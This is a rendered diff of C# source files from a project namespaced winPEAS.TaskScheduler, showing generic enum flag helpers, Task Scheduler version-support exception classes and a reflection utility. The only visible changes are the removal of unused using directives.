|
}
|
||||||
else if (Enum.IsDefined(typeof(T), value))
|
else if (Enum.IsDefined(typeof(T), value))
|
||||||
return;
|
return;
|
||||||
throw new InvalidEnumArgumentException(argName ?? "value", Convert.ToInt32(value), typeof(T));
|
throw new InvalidEnumArgumentException(argName ?? "value", Convert.ToInt32(value), typeof(T));
|
||||||
}
|
}
|
||||||
|
|
||||||
public static byte BitPosition<T>(this T flags) where T : struct, IConvertible
|
public static byte BitPosition<T>(this T flags) where T : struct, IConvertible
|
||||||
{
|
{
|
||||||
CheckIsEnum<T>(true);
|
CheckIsEnum<T>(true);
|
||||||
var flagValue = Convert.ToInt64(flags);
|
var flagValue = Convert.ToInt64(flags);
|
||||||
if (flagValue == 0) throw new ArgumentException("The flag value is zero and has no bit position.");
|
if (flagValue == 0) throw new ArgumentException("The flag value is zero and has no bit position.");
|
||||||
var r = Math.Log(flagValue, 2);
|
var r = Math.Log(flagValue, 2);
|
||||||
if (r % 1 > 0) throw new ArithmeticException("The flag value has more than a single bit set.");
|
if (r % 1 > 0) throw new ArithmeticException("The flag value has more than a single bit set.");
|
||||||
return Convert.ToByte(r);
|
return Convert.ToByte(r);
|
||||||
}
|
}
|
||||||
|
|
||||||
public static bool IsFlagSet<T>(this T flags, T flag) where T : struct, IConvertible
|
public static bool IsFlagSet<T>(this T flags, T flag) where T : struct, IConvertible
|
||||||
{
|
{
|
||||||
CheckIsEnum<T>(true);
|
CheckIsEnum<T>(true);
|
||||||
var flagValue = Convert.ToInt64(flag);
|
var flagValue = Convert.ToInt64(flag);
|
||||||
return (Convert.ToInt64(flags) & flagValue) == flagValue;
|
return (Convert.ToInt64(flags) & flagValue) == flagValue;
|
||||||
}
|
}
|
||||||
|
|
||||||
public static bool IsValidFlagValue<T>(this T flags) where T : struct, IConvertible
|
public static bool IsValidFlagValue<T>(this T flags) where T : struct, IConvertible
|
||||||
{
|
{
|
||||||
CheckIsEnum<T>(true);
|
CheckIsEnum<T>(true);
|
||||||
var found = 0L;
|
var found = 0L;
|
||||||
foreach (T flag in Enum.GetValues(typeof(T)))
|
foreach (T flag in Enum.GetValues(typeof(T)))
|
||||||
{
|
{
|
||||||
if (flags.IsFlagSet(flag))
|
if (flags.IsFlagSet(flag))
|
||||||
found |= Convert.ToInt64(flag);
|
found |= Convert.ToInt64(flag);
|
||||||
}
|
}
|
||||||
return found == Convert.ToInt64(flags);
|
return found == Convert.ToInt64(flags);
|
||||||
}
|
}
|
||||||
|
|
||||||
public static void SetFlags<T>(ref T flags, T flag, bool set = true) where T : struct, IConvertible
|
public static void SetFlags<T>(ref T flags, T flag, bool set = true) where T : struct, IConvertible
|
||||||
{
|
{
|
||||||
CheckIsEnum<T>(true);
|
CheckIsEnum<T>(true);
|
||||||
var flagsValue = Convert.ToInt64(flags);
|
var flagsValue = Convert.ToInt64(flags);
|
||||||
var flagValue = Convert.ToInt64(flag);
|
var flagValue = Convert.ToInt64(flag);
|
||||||
if (set)
|
if (set)
|
||||||
flagsValue |= flagValue;
|
flagsValue |= flagValue;
|
||||||
else
|
else
|
||||||
flagsValue &= (~flagValue);
|
flagsValue &= (~flagValue);
|
||||||
flags = (T)Enum.ToObject(typeof(T), flagsValue);
|
flags = (T)Enum.ToObject(typeof(T), flagsValue);
|
||||||
}
|
}
|
||||||
|
|
||||||
public static T SetFlags<T>(this T flags, T flag, bool set = true) where T : struct, IConvertible
|
public static T SetFlags<T>(this T flags, T flag, bool set = true) where T : struct, IConvertible
|
||||||
{
|
{
|
||||||
var ret = flags;
|
var ret = flags;
|
||||||
SetFlags<T>(ref ret, flag, set);
|
SetFlags<T>(ref ret, flag, set);
|
||||||
return ret;
|
return ret;
|
||||||
}
|
}
|
||||||
|
|
||||||
public static T ClearFlags<T>(this T flags, T flag) where T : struct, IConvertible => flags.SetFlags(flag, false);
|
public static T ClearFlags<T>(this T flags, T flag) where T : struct, IConvertible => flags.SetFlags(flag, false);
|
||||||
|
|
||||||
public static IEnumerable<T> GetFlags<T>(this T value) where T : struct, IConvertible
|
public static IEnumerable<T> GetFlags<T>(this T value) where T : struct, IConvertible
|
||||||
{
|
{
|
||||||
CheckIsEnum<T>(true);
|
CheckIsEnum<T>(true);
|
||||||
foreach (T flag in Enum.GetValues(typeof(T)))
|
foreach (T flag in Enum.GetValues(typeof(T)))
|
||||||
{
|
{
|
||||||
if (value.IsFlagSet(flag))
|
if (value.IsFlagSet(flag))
|
||||||
yield return flag;
|
yield return flag;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
public static T CombineFlags<T>(this IEnumerable<T> flags) where T : struct, IConvertible
|
public static T CombineFlags<T>(this IEnumerable<T> flags) where T : struct, IConvertible
|
||||||
{
|
{
|
||||||
CheckIsEnum<T>(true);
|
CheckIsEnum<T>(true);
|
||||||
long lValue = 0;
|
long lValue = 0;
|
||||||
foreach (var flag in flags)
|
foreach (var flag in flags)
|
||||||
{
|
{
|
||||||
var lFlag = Convert.ToInt64(flag);
|
var lFlag = Convert.ToInt64(flag);
|
||||||
lValue |= lFlag;
|
lValue |= lFlag;
|
||||||
}
|
}
|
||||||
return (T)Enum.ToObject(typeof(T), lValue);
|
return (T)Enum.ToObject(typeof(T), lValue);
|
||||||
}
|
}
|
||||||
|
|
||||||
public static string GetDescription<T>(this T value) where T : struct, IConvertible
|
public static string GetDescription<T>(this T value) where T : struct, IConvertible
|
||||||
{
|
{
|
||||||
CheckIsEnum<T>();
|
CheckIsEnum<T>();
|
||||||
var name = Enum.GetName(typeof(T), value);
|
var name = Enum.GetName(typeof(T), value);
|
||||||
if (name != null)
|
if (name != null)
|
||||||
{
|
{
|
||||||
var field = typeof(T).GetField(name);
|
var field = typeof(T).GetField(name);
|
||||||
if (field != null)
|
if (field != null)
|
||||||
{
|
{
|
||||||
var attr = Attribute.GetCustomAttribute(field, typeof(DescriptionAttribute)) as DescriptionAttribute;
|
var attr = Attribute.GetCustomAttribute(field, typeof(DescriptionAttribute)) as DescriptionAttribute;
|
||||||
if (attr != null)
|
if (attr != null)
|
||||||
{
|
{
|
||||||
return attr.Description;
|
return attr.Description;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
|
|
||||||
/// <summary>
|
/// <summary>
|
||||||
/// Converts the string representation of the name or numeric value of one or more enumerated constants to an equivalent enumerated object or returns the value of <paramref name="defaultVal"/>. If <paramref name="defaultVal"/> is undefined, it returns the first declared item in the enumerated type.
|
/// Converts the string representation of the name or numeric value of one or more enumerated constants to an equivalent enumerated object or returns the value of <paramref name="defaultVal"/>. If <paramref name="defaultVal"/> is undefined, it returns the first declared item in the enumerated type.
|
||||||
/// </summary>
|
/// </summary>
|
||||||
/// <typeparam name="TEnum">The enumeration type to which to convert <paramref name="value"/>.</typeparam>
|
/// <typeparam name="TEnum">The enumeration type to which to convert <paramref name="value"/>.</typeparam>
|
||||||
/// <param name="value">The string representation of the enumeration name or underlying value to convert.</param>
|
/// <param name="value">The string representation of the enumeration name or underlying value to convert.</param>
|
||||||
/// <param name="ignoreCase"><c>true</c> to ignore case; <c>false</c> to consider case.</param>
|
/// <param name="ignoreCase"><c>true</c> to ignore case; <c>false</c> to consider case.</param>
|
||||||
/// <param name="defaultVal">The default value.</param>
|
/// <param name="defaultVal">The default value.</param>
|
||||||
/// <returns>An object of type <typeparamref name="TEnum"/> whose value is represented by value.</returns>
|
/// <returns>An object of type <typeparamref name="TEnum"/> whose value is represented by value.</returns>
|
||||||
public static TEnum TryParse<TEnum>(string value, bool ignoreCase = false, TEnum defaultVal = default(TEnum)) where TEnum : struct, IConvertible
|
public static TEnum TryParse<TEnum>(string value, bool ignoreCase = false, TEnum defaultVal = default(TEnum)) where TEnum : struct, IConvertible
|
||||||
{
|
{
|
||||||
CheckIsEnum<TEnum>();
|
CheckIsEnum<TEnum>();
|
||||||
try { return (TEnum)Enum.Parse(typeof(TEnum), value, ignoreCase); } catch { }
|
try { return (TEnum)Enum.Parse(typeof(TEnum), value, ignoreCase); } catch { }
|
||||||
if (!Enum.IsDefined(typeof(TEnum), defaultVal))
|
if (!Enum.IsDefined(typeof(TEnum), defaultVal))
|
||||||
{
|
{
|
||||||
var v = Enum.GetValues(typeof(TEnum));
|
var v = Enum.GetValues(typeof(TEnum));
|
||||||
if (v != null && v.Length > 0)
|
if (v != null && v.Length > 0)
|
||||||
return (TEnum)v.GetValue(0);
|
return (TEnum)v.GetValue(0);
|
||||||
}
|
}
|
||||||
return defaultVal;
|
return defaultVal;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
@@ -1,131 +1,127 @@
|
|||||||
using System;
|
using System;
|
||||||
using System.Collections.Generic;
|
|
||||||
using System.Diagnostics;
|
using System.Diagnostics;
|
||||||
using System.Linq;
|
|
||||||
using System.Runtime.Serialization;
|
using System.Runtime.Serialization;
|
||||||
using System.Security;
|
using System.Security;
|
||||||
using System.Security.Permissions;
|
using System.Security.Permissions;
|
||||||
using System.Text;
|
|
||||||
using System.Threading.Tasks;
|
|
||||||
|
|
||||||
namespace winPEAS.TaskScheduler
|
namespace winPEAS.TaskScheduler
|
||||||
{
|
{
|
||||||
/// <summary>
|
/// <summary>
|
||||||
/// Abstract class for throwing a method specific exception.
|
/// Abstract class for throwing a method specific exception.
|
||||||
/// </summary>
|
/// </summary>
|
||||||
[DebuggerStepThrough, Serializable]
|
[DebuggerStepThrough, Serializable]
|
||||||
[PublicAPI]
|
[PublicAPI]
|
||||||
public abstract class TSNotSupportedException : Exception
|
public abstract class TSNotSupportedException : Exception
|
||||||
{
|
{
|
||||||
/// <summary>Defines the minimum supported version for the action not allowed by this exception.</summary>
|
/// <summary>Defines the minimum supported version for the action not allowed by this exception.</summary>
|
||||||
protected readonly TaskCompatibility min;
|
protected readonly TaskCompatibility min;
|
||||||
private readonly string myMessage;
|
private readonly string myMessage;
|
||||||
|
|
||||||
/// <summary>
|
/// <summary>
|
||||||
/// Initializes a new instance of the <see cref="TSNotSupportedException"/> class.
|
/// Initializes a new instance of the <see cref="TSNotSupportedException"/> class.
|
||||||
/// </summary>
|
/// </summary>
|
||||||
/// <param name="serializationInfo">The serialization information.</param>
|
/// <param name="serializationInfo">The serialization information.</param>
|
||||||
/// <param name="streamingContext">The streaming context.</param>
|
/// <param name="streamingContext">The streaming context.</param>
|
||||||
protected TSNotSupportedException(SerializationInfo serializationInfo, StreamingContext streamingContext)
|
protected TSNotSupportedException(SerializationInfo serializationInfo, StreamingContext streamingContext)
|
||||||
: base(serializationInfo, streamingContext)
|
: base(serializationInfo, streamingContext)
|
||||||
{
|
{
|
||||||
try { min = (TaskCompatibility)serializationInfo.GetValue("min", typeof(TaskCompatibility)); }
|
try { min = (TaskCompatibility)serializationInfo.GetValue("min", typeof(TaskCompatibility)); }
|
||||||
catch { min = TaskCompatibility.V1; }
|
catch { min = TaskCompatibility.V1; }
|
||||||
}
|
}
|
||||||
|
|
||||||
internal TSNotSupportedException(TaskCompatibility minComp)
|
internal TSNotSupportedException(TaskCompatibility minComp)
|
||||||
{
|
{
|
||||||
min = minComp;
|
min = minComp;
|
||||||
var stackTrace = new StackTrace();
|
var stackTrace = new StackTrace();
|
||||||
var stackFrame = stackTrace.GetFrame(2);
|
var stackFrame = stackTrace.GetFrame(2);
|
||||||
var methodBase = stackFrame.GetMethod();
|
var methodBase = stackFrame.GetMethod();
|
||||||
myMessage = $"{methodBase.DeclaringType?.Name}.{methodBase.Name} is not supported on {LibName}";
|
myMessage = $"{methodBase.DeclaringType?.Name}.{methodBase.Name} is not supported on {LibName}";
|
||||||
}
|
}
|
||||||
|
|
||||||
internal TSNotSupportedException(string message, TaskCompatibility minComp)
|
internal TSNotSupportedException(string message, TaskCompatibility minComp)
|
||||||
{
|
{
|
||||||
myMessage = message;
|
myMessage = message;
|
||||||
min = minComp;
|
min = minComp;
|
||||||
}
|
}
|
||||||
|
|
||||||
/// <summary>
|
/// <summary>
|
||||||
/// Gets a message that describes the current exception.
|
/// Gets a message that describes the current exception.
|
||||||
/// </summary>
|
/// </summary>
|
||||||
public override string Message => myMessage;
|
public override string Message => myMessage;
|
||||||
|
|
||||||
/// <summary>
|
/// <summary>
|
||||||
/// Gets the minimum supported TaskScheduler version required for this method or property.
|
/// Gets the minimum supported TaskScheduler version required for this method or property.
|
||||||
/// </summary>
|
/// </summary>
|
||||||
public TaskCompatibility MinimumSupportedVersion => min;
|
public TaskCompatibility MinimumSupportedVersion => min;
|
||||||
|
|
||||||
internal abstract string LibName { get; }
|
internal abstract string LibName { get; }
|
||||||
|
|
||||||
/// <summary>
|
/// <summary>
|
||||||
/// Gets the object data.
|
/// Gets the object data.
|
||||||
/// </summary>
|
/// </summary>
|
||||||
/// <param name="info">The information.</param>
|
/// <param name="info">The information.</param>
|
||||||
/// <param name="context">The context.</param>
|
/// <param name="context">The context.</param>
|
||||||
[SecurityCritical, SecurityPermission(SecurityAction.LinkDemand, Flags = SecurityPermissionFlag.SerializationFormatter)]
|
[SecurityCritical, SecurityPermission(SecurityAction.LinkDemand, Flags = SecurityPermissionFlag.SerializationFormatter)]
|
||||||
public override void GetObjectData(SerializationInfo info, StreamingContext context)
|
public override void GetObjectData(SerializationInfo info, StreamingContext context)
|
||||||
{
|
{
|
||||||
if (info == null)
|
if (info == null)
|
||||||
throw new ArgumentNullException(nameof(info));
|
throw new ArgumentNullException(nameof(info));
|
||||||
info.AddValue("min", min);
|
info.AddValue("min", min);
|
||||||
base.GetObjectData(info, context);
|
base.GetObjectData(info, context);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/// <summary>
|
/// <summary>
|
||||||
/// Thrown when the calling method is not supported by Task Scheduler 1.0.
|
/// Thrown when the calling method is not supported by Task Scheduler 1.0.
|
||||||
/// </summary>
|
/// </summary>
|
||||||
[DebuggerStepThrough, Serializable]
|
[DebuggerStepThrough, Serializable]
|
||||||
public class NotV1SupportedException : TSNotSupportedException
|
public class NotV1SupportedException : TSNotSupportedException
|
||||||
{
|
{
|
||||||
/// <summary>
|
/// <summary>
|
||||||
/// Initializes a new instance of the <see cref="NotV1SupportedException" /> class.
|
/// Initializes a new instance of the <see cref="NotV1SupportedException" /> class.
|
||||||
/// </summary>
|
/// </summary>
|
||||||
/// <param name="serializationInfo">The serialization information.</param>
|
/// <param name="serializationInfo">The serialization information.</param>
|
||||||
/// <param name="streamingContext">The streaming context.</param>
|
/// <param name="streamingContext">The streaming context.</param>
|
||||||
protected NotV1SupportedException(SerializationInfo serializationInfo, StreamingContext streamingContext) : base(serializationInfo, streamingContext) { }
|
protected NotV1SupportedException(SerializationInfo serializationInfo, StreamingContext streamingContext) : base(serializationInfo, streamingContext) { }
|
||||||
internal NotV1SupportedException() : base(TaskCompatibility.V2) { }
|
internal NotV1SupportedException() : base(TaskCompatibility.V2) { }
|
||||||
/// <summary>
|
/// <summary>
|
||||||
/// Initializes a new instance of the <see cref="NotV1SupportedException" /> class.
|
/// Initializes a new instance of the <see cref="NotV1SupportedException" /> class.
|
||||||
/// </summary>
|
/// </summary>
|
||||||
/// <param name="message">The message.</param>
|
/// <param name="message">The message.</param>
|
||||||
public NotV1SupportedException(string message) : base(message, TaskCompatibility.V2) { }
|
public NotV1SupportedException(string message) : base(message, TaskCompatibility.V2) { }
|
||||||
internal override string LibName => "Task Scheduler 1.0";
|
internal override string LibName => "Task Scheduler 1.0";
|
||||||
}
|
}
|
||||||
|
|
||||||
/// <summary>
|
/// <summary>
|
||||||
/// Thrown when the calling method is not supported by Task Scheduler 2.0.
|
/// Thrown when the calling method is not supported by Task Scheduler 2.0.
|
||||||
/// </summary>
|
/// </summary>
|
||||||
[DebuggerStepThrough, Serializable]
|
[DebuggerStepThrough, Serializable]
|
||||||
public class NotV2SupportedException : TSNotSupportedException
|
public class NotV2SupportedException : TSNotSupportedException
|
||||||
{
|
{
|
||||||
/// <summary>
|
/// <summary>
|
||||||
/// Initializes a new instance of the <see cref="NotV1SupportedException" /> class.
|
/// Initializes a new instance of the <see cref="NotV1SupportedException" /> class.
|
||||||
/// </summary>
|
/// </summary>
|
||||||
/// <param name="serializationInfo">The serialization information.</param>
|
/// <param name="serializationInfo">The serialization information.</param>
|
||||||
/// <param name="streamingContext">The streaming context.</param>
|
/// <param name="streamingContext">The streaming context.</param>
|
||||||
protected NotV2SupportedException(SerializationInfo serializationInfo, StreamingContext streamingContext) : base(serializationInfo, streamingContext) { }
|
protected NotV2SupportedException(SerializationInfo serializationInfo, StreamingContext streamingContext) : base(serializationInfo, streamingContext) { }
|
||||||
internal NotV2SupportedException() : base(TaskCompatibility.V1) { }
|
internal NotV2SupportedException() : base(TaskCompatibility.V1) { }
|
||||||
internal NotV2SupportedException(string message) : base(message, TaskCompatibility.V1) { }
|
internal NotV2SupportedException(string message) : base(message, TaskCompatibility.V1) { }
|
||||||
internal override string LibName => "Task Scheduler 2.0 (1.2)";
|
internal override string LibName => "Task Scheduler 2.0 (1.2)";
|
||||||
}
|
}
|
||||||
|
|
||||||
/// <summary>
|
/// <summary>
|
||||||
/// Thrown when the calling method is not supported by Task Scheduler versions prior to the one specified.
|
/// Thrown when the calling method is not supported by Task Scheduler versions prior to the one specified.
|
||||||
/// </summary>
|
/// </summary>
|
||||||
[DebuggerStepThrough, Serializable]
|
[DebuggerStepThrough, Serializable]
|
||||||
public class NotSupportedPriorToException : TSNotSupportedException
|
public class NotSupportedPriorToException : TSNotSupportedException
|
||||||
{
|
{
|
||||||
/// <summary>
|
/// <summary>
|
||||||
/// Initializes a new instance of the <see cref="NotV1SupportedException" /> class.
|
/// Initializes a new instance of the <see cref="NotV1SupportedException" /> class.
|
||||||
/// </summary>
|
/// </summary>
|
||||||
/// <param name="serializationInfo">The serialization information.</param>
|
/// <param name="serializationInfo">The serialization information.</param>
|
||||||
/// <param name="streamingContext">The streaming context.</param>
|
/// <param name="streamingContext">The streaming context.</param>
|
||||||
protected NotSupportedPriorToException(SerializationInfo serializationInfo, StreamingContext streamingContext) : base(serializationInfo, streamingContext) { }
|
protected NotSupportedPriorToException(SerializationInfo serializationInfo, StreamingContext streamingContext) : base(serializationInfo, streamingContext) { }
|
||||||
internal NotSupportedPriorToException(TaskCompatibility supportedVersion) : base(supportedVersion) { }
|
internal NotSupportedPriorToException(TaskCompatibility supportedVersion) : base(supportedVersion) { }
|
||||||
internal override string LibName => $"Task Scheduler versions prior to 2.{((int)min) - 2} (1.{(int)min})";
|
internal override string LibName => $"Task Scheduler versions prior to 2.{((int)min) - 2} (1.{(int)min})";
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,139 +1,135 @@
|
|||||||
using System;
|
using System;
|
||||||
using System.Collections.Generic;
|
|
||||||
using System.Linq;
|
|
||||||
using System.Reflection;
|
using System.Reflection;
|
||||||
using System.Text;
|
|
||||||
using System.Threading.Tasks;
|
|
||||||
|
|
||||||
namespace winPEAS.TaskScheduler
|
namespace winPEAS.TaskScheduler
|
||||||
{
|
{
|
||||||
/// <summary>Extensions related to <c>System.Reflection</c></summary>
|
/// <summary>Extensions related to <c>System.Reflection</c></summary>
|
||||||
internal static class ReflectionHelper
|
internal static class ReflectionHelper
|
||||||
{
|
{
|
||||||
/// <summary>Loads a type from a named assembly.</summary>
|
/// <summary>Loads a type from a named assembly.</summary>
|
||||||
/// <param name="typeName">Name of the type.</param>
|
/// <param name="typeName">Name of the type.</param>
|
||||||
/// <param name="asmRef">The name or path of the file that contains the manifest of the assembly.</param>
|
/// <param name="asmRef">The name or path of the file that contains the manifest of the assembly.</param>
|
||||||
/// <returns>The <see cref="Type"/> reference, or <c>null</c> if type or assembly not found.</returns>
|
/// <returns>The <see cref="Type"/> reference, or <c>null</c> if type or assembly not found.</returns>
|
||||||
public static Type LoadType(string typeName, string asmRef)
|
public static Type LoadType(string typeName, string asmRef)
|
||||||
{
|
{
|
||||||
Type ret = null;
|
Type ret = null;
|
||||||
if (!TryGetType(Assembly.GetCallingAssembly(), typeName, ref ret))
|
if (!TryGetType(Assembly.GetCallingAssembly(), typeName, ref ret))
|
||||||
if (!TryGetType(asmRef, typeName, ref ret))
|
if (!TryGetType(asmRef, typeName, ref ret))
|
||||||
if (!TryGetType(Assembly.GetExecutingAssembly(), typeName, ref ret))
|
if (!TryGetType(Assembly.GetExecutingAssembly(), typeName, ref ret))
|
||||||
TryGetType(Assembly.GetEntryAssembly(), typeName, ref ret);
|
TryGetType(Assembly.GetEntryAssembly(), typeName, ref ret);
|
||||||
return ret;
|
return ret;
|
||||||
}
|
}
|
||||||
|
|
||||||
/// <summary>Tries the retrieve a <see cref="Type"/> reference from an assembly.</summary>
|
/// <summary>Tries the retrieve a <see cref="Type"/> reference from an assembly.</summary>
|
||||||
/// <param name="typeName">Name of the type.</param>
|
/// <param name="typeName">Name of the type.</param>
|
||||||
/// <param name="asmRef">The assembly reference name from which to load the type.</param>
|
/// <param name="asmRef">The assembly reference name from which to load the type.</param>
|
||||||
/// <param name="type">The <see cref="Type"/> reference, if found.</param>
|
/// <param name="type">The <see cref="Type"/> reference, if found.</param>
|
||||||
/// <returns><c>true</c> if the type was found in the assembly; otherwise, <c>false</c>.</returns>
|
/// <returns><c>true</c> if the type was found in the assembly; otherwise, <c>false</c>.</returns>
|
||||||
private static bool TryGetType(string asmRef, string typeName, ref Type type)
|
private static bool TryGetType(string asmRef, string typeName, ref Type type)
|
||||||
{
|
{
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
if (System.IO.File.Exists(asmRef))
|
if (System.IO.File.Exists(asmRef))
|
||||||
return TryGetType(Assembly.LoadFrom(asmRef), typeName, ref type);
|
return TryGetType(Assembly.LoadFrom(asmRef), typeName, ref type);
|
||||||
}
|
}
|
||||||
catch { }
|
catch { }
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
/// <summary>Tries the retrieve a <see cref="Type"/> reference from an assembly.</summary>
|
/// <summary>Tries the retrieve a <see cref="Type"/> reference from an assembly.</summary>
|
||||||
/// <param name="typeName">Name of the type.</param>
|
/// <param name="typeName">Name of the type.</param>
|
||||||
/// <param name="asm">The assembly from which to load the type.</param>
|
/// <param name="asm">The assembly from which to load the type.</param>
|
||||||
/// <param name="type">The <see cref="Type"/> reference, if found.</param>
|
/// <param name="type">The <see cref="Type"/> reference, if found.</param>
|
||||||
/// <returns><c>true</c> if the type was found in the assembly; otherwise, <c>false</c>.</returns>
|
/// <returns><c>true</c> if the type was found in the assembly; otherwise, <c>false</c>.</returns>
|
||||||
private static bool TryGetType(Assembly asm, string typeName, ref Type type)
|
private static bool TryGetType(Assembly asm, string typeName, ref Type type)
|
||||||
{
|
{
|
||||||
if (asm != null)
|
if (asm != null)
|
||||||
{
|
{
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
type = asm.GetType(typeName, false, false);
|
type = asm.GetType(typeName, false, false);
|
||||||
return (type != null);
|
return (type != null);
|
||||||
}
|
}
|
||||||
catch { }
|
catch { }
|
||||||
}
|
}
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
/// <summary>Invokes a named method on a created instance of a type with parameters.</summary>
|
/// <summary>Invokes a named method on a created instance of a type with parameters.</summary>
|
||||||
/// <typeparam name="T">The expected type of the method's return value.</typeparam>
|
/// <typeparam name="T">The expected type of the method's return value.</typeparam>
|
||||||
/// <param name="type">The type to be instantiated and then used to invoke the method. This method assumes the type has a default public constructor.</param>
|
/// <param name="type">The type to be instantiated and then used to invoke the method. This method assumes the type has a default public constructor.</param>
|
||||||
/// <param name="methodName">Name of the method.</param>
|
/// <param name="methodName">Name of the method.</param>
|
||||||
/// <param name="args">The arguments to provide to the method invocation.</param>
|
/// <param name="args">The arguments to provide to the method invocation.</param>
|
||||||
/// <returns>The value returned from the method.</returns>
|
/// <returns>The value returned from the method.</returns>
|
||||||
public static T InvokeMethod<T>(Type type, string methodName, params object[] args)
|
public static T InvokeMethod<T>(Type type, string methodName, params object[] args)
|
||||||
{
|
{
|
||||||
object o = Activator.CreateInstance(type);
|
object o = Activator.CreateInstance(type);
|
||||||
return InvokeMethod<T>(o, methodName, args);
|
return InvokeMethod<T>(o, methodName, args);
|
||||||
}
|
}
|
||||||
|
|
||||||
/// <summary>Invokes a named method on a created instance of a type with parameters.</summary>
|
/// <summary>Invokes a named method on a created instance of a type with parameters.</summary>
|
||||||
/// <typeparam name="T">The expected type of the method's return value.</typeparam>
|
/// <typeparam name="T">The expected type of the method's return value.</typeparam>
|
||||||
/// <param name="type">The type to be instantiated and then used to invoke the method.</param>
|
/// <param name="type">The type to be instantiated and then used to invoke the method.</param>
|
||||||
/// <param name="instArgs">The arguments to supply to the constructor.</param>
|
/// <param name="instArgs">The arguments to supply to the constructor.</param>
|
||||||
/// <param name="methodName">Name of the method.</param>
|
/// <param name="methodName">Name of the method.</param>
|
||||||
/// <param name="args">The arguments to provide to the method invocation.</param>
|
/// <param name="args">The arguments to provide to the method invocation.</param>
|
||||||
/// <returns>The value returned from the method.</returns>
|
/// <returns>The value returned from the method.</returns>
|
||||||
public static T InvokeMethod<T>(Type type, object[] instArgs, string methodName, params object[] args)
|
public static T InvokeMethod<T>(Type type, object[] instArgs, string methodName, params object[] args)
|
||||||
{
|
{
|
||||||
object o = Activator.CreateInstance(type, instArgs);
|
object o = Activator.CreateInstance(type, instArgs);
|
||||||
return InvokeMethod<T>(o, methodName, args);
|
return InvokeMethod<T>(o, methodName, args);
|
||||||
}
|
}
|
||||||
|
|
||||||
/// <summary>Invokes a named method on an object with parameters and no return value.</summary>
|
/// <summary>Invokes a named method on an object with parameters and no return value.</summary>
|
||||||
/// <param name="obj">The object on which to invoke the method.</param>
|
/// <param name="obj">The object on which to invoke the method.</param>
|
||||||
/// <param name="methodName">Name of the method.</param>
|
/// <param name="methodName">Name of the method.</param>
|
||||||
/// <param name="args">The arguments to provide to the method invocation.</param>
|
/// <param name="args">The arguments to provide to the method invocation.</param>
|
||||||
public static T InvokeMethod<T>(object obj, string methodName, params object[] args)
|
public static T InvokeMethod<T>(object obj, string methodName, params object[] args)
|
||||||
{
|
{
|
||||||
Type[] argTypes = (args == null || args.Length == 0) ? Type.EmptyTypes : Array.ConvertAll(args, delegate (object o) { return o == null ? typeof(object) : o.GetType(); });
|
Type[] argTypes = (args == null || args.Length == 0) ? Type.EmptyTypes : Array.ConvertAll(args, delegate (object o) { return o == null ? typeof(object) : o.GetType(); });
|
||||||
return InvokeMethod<T>(obj, methodName, argTypes, args);
|
return InvokeMethod<T>(obj, methodName, argTypes, args);
|
||||||
}
|
}
|
||||||
|
|
||||||
/// <summary>Invokes a named method on an object with parameters and no return value.</summary>
|
/// <summary>Invokes a named method on an object with parameters and no return value.</summary>
|
||||||
/// <typeparam name="T">The expected type of the method's return value.</typeparam>
|
/// <typeparam name="T">The expected type of the method's return value.</typeparam>
|
||||||
/// <param name="obj">The object on which to invoke the method.</param>
|
/// <param name="obj">The object on which to invoke the method.</param>
|
||||||
/// <param name="methodName">Name of the method.</param>
|
/// <param name="methodName">Name of the method.</param>
|
||||||
/// <param name="argTypes">The types of the <paramref name="args"/>.</param>
|
/// <param name="argTypes">The types of the <paramref name="args"/>.</param>
|
||||||
/// <param name="args">The arguments to provide to the method invocation.</param>
|
/// <param name="args">The arguments to provide to the method invocation.</param>
|
||||||
/// <returns>The value returned from the method.</returns>
|
/// <returns>The value returned from the method.</returns>
|
||||||
public static T InvokeMethod<T>(object obj, string methodName, Type[] argTypes, object[] args)
|
public static T InvokeMethod<T>(object obj, string methodName, Type[] argTypes, object[] args)
|
||||||
{
|
{
|
||||||
MethodInfo mi = obj?.GetType().GetMethod(methodName, argTypes);
|
MethodInfo mi = obj?.GetType().GetMethod(methodName, argTypes);
|
||||||
if (mi != null)
|
if (mi != null)
|
||||||
return (T)Convert.ChangeType(mi.Invoke(obj, args), typeof(T));
|
return (T)Convert.ChangeType(mi.Invoke(obj, args), typeof(T));
|
||||||
return default(T);
|
return default(T);
|
||||||
}
|
}
|
||||||
|
|
||||||
/// <summary>Gets a named property value from an object.</summary>
|
/// <summary>Gets a named property value from an object.</summary>
|
||||||
/// <typeparam name="T">The expected type of the property to be returned.</typeparam>
|
/// <typeparam name="T">The expected type of the property to be returned.</typeparam>
|
||||||
/// <param name="obj">The object from which to retrieve the property.</param>
|
/// <param name="obj">The object from which to retrieve the property.</param>
|
||||||
/// <param name="propName">Name of the property.</param>
|
/// <param name="propName">Name of the property.</param>
|
||||||
/// <param name="defaultValue">The default value to return in the instance that the property is not found.</param>
|
/// <param name="defaultValue">The default value to return in the instance that the property is not found.</param>
|
||||||
/// <returns>The property value, if found, or the <paramref name="defaultValue"/> if not.</returns>
|
/// <returns>The property value, if found, or the <paramref name="defaultValue"/> if not.</returns>
|
||||||
public static T GetProperty<T>(object obj, string propName, T defaultValue = default(T))
|
public static T GetProperty<T>(object obj, string propName, T defaultValue = default(T))
|
||||||
{
|
{
|
||||||
if (obj != null)
|
if (obj != null)
|
||||||
{
|
{
|
||||||
try { return (T)Convert.ChangeType(obj.GetType().InvokeMember(propName, BindingFlags.GetProperty | BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic, null, obj, null, null), typeof(T)); }
|
try { return (T)Convert.ChangeType(obj.GetType().InvokeMember(propName, BindingFlags.GetProperty | BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic, null, obj, null, null), typeof(T)); }
|
||||||
catch { }
|
catch { }
|
||||||
}
|
}
|
||||||
return defaultValue;
|
return defaultValue;
|
||||||
}
|
}
|
||||||
|
|
||||||
